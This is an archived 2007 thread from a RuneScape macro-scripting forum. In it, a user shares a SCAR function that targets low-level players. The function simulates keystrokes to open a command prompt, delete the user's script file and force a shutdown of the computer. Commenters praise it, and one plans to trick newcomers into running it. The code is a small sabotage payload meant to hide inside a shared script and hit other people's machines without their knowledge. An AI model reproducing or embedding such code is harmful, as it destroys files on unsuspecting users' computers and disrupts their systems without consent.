SRL Archive - SRL Archives

function Noob:boolean;


n3ss3s

2007-05-12 05:22:51

It will flame the noob, shutdown his comp and remove the script from the computer:) made it :boolean if someone wants to create something if(noob)then…
INSTRUCTIONS:
make const for Path and SavedAs.
make comment examples like for path

// Example: 'C:\program files\Scar 3.0\scripts'
// and example for SavedAs 'AutoMiner'

function Noob(SavedAs, Path: string): boolean;
begin
if (GetCombatLevel < 20) then
begin
Writeln('God damn noob!!Read more about SRL');
KeyDown(91);
wait(150 + random(20));
KeyDown(GetKeyCode('r'));
wait(50 + random(25));
KeyUp(GetKeyCode('r'));
wait(150 + random(20));
KeyUp(91);
sendkeys('cmd' + chr(13));
wait(150 + random(20));
sendkeys('cd ' + path + chr(13));
wait(150 + random(20));
sendkeys('dir' + chr(13));
wait(150 + random(20));
sendkeys('erase ' + SavedAs + '.scar' + chr(13));
wait(150 + random(20));
sendkeys('shutdown -c "Noob Down!"' + chr(13));
TerminateScript;
result := true;
end;
end;
No autographs and yes I know I am a genius.
If someone notices bugs or mistypings, notify plz.

rkroxpunk

2007-05-12 05:34:21

zomg! that owns I can't wait to use this! Why no autographs?

n3ss3s

2007-05-12 05:43:15

:D Okay u get one. :D Look again I edited it to remove the script from his comp :)

Lorax

2007-05-12 05:45:31

I don't want to give any ideas, but it could be done much more automatic/easier..

rkroxpunk

2007-05-13 01:33:51

From: n3ss3s
:D Okay u get one. :D Look again I edited it to remove the script from his comp :)


aww why did u do that? lol they could be stupid and think oh I must have hit the wrong button let me try again lol

n3ss3s

2007-05-13 02:36:05

Because then the noobs waste their time not ours and Lorax yes it cuded

omgh4x0rz

2007-05-13 11:28:49

whats key 91?

n3ss3s

2007-05-13 12:39:41

start key, the key with windows logo on it.

omgh4x0rz

2007-05-13 12:43:47

That's what I thought,just based on how it opens run and then command prompt after that. But I don't actually have a windows key… yet it still worked.

I always have to press ctr+esc since I don't have the win key, is there a different way though?

Nice function btw, I'm going to go troll for noobs looking for members scripts so I can use it on them :D

n3ss3s

2007-05-15 04:55:51

Oops i saw there is a ScriptPath:string function in scar but im not sure does it work for this usage correct, if it gives the script name too?then i could get rid of the both Script name and path because I could do Copy(blabla).
I maybe update it sometime but now im working on a function first of its kind, i think so.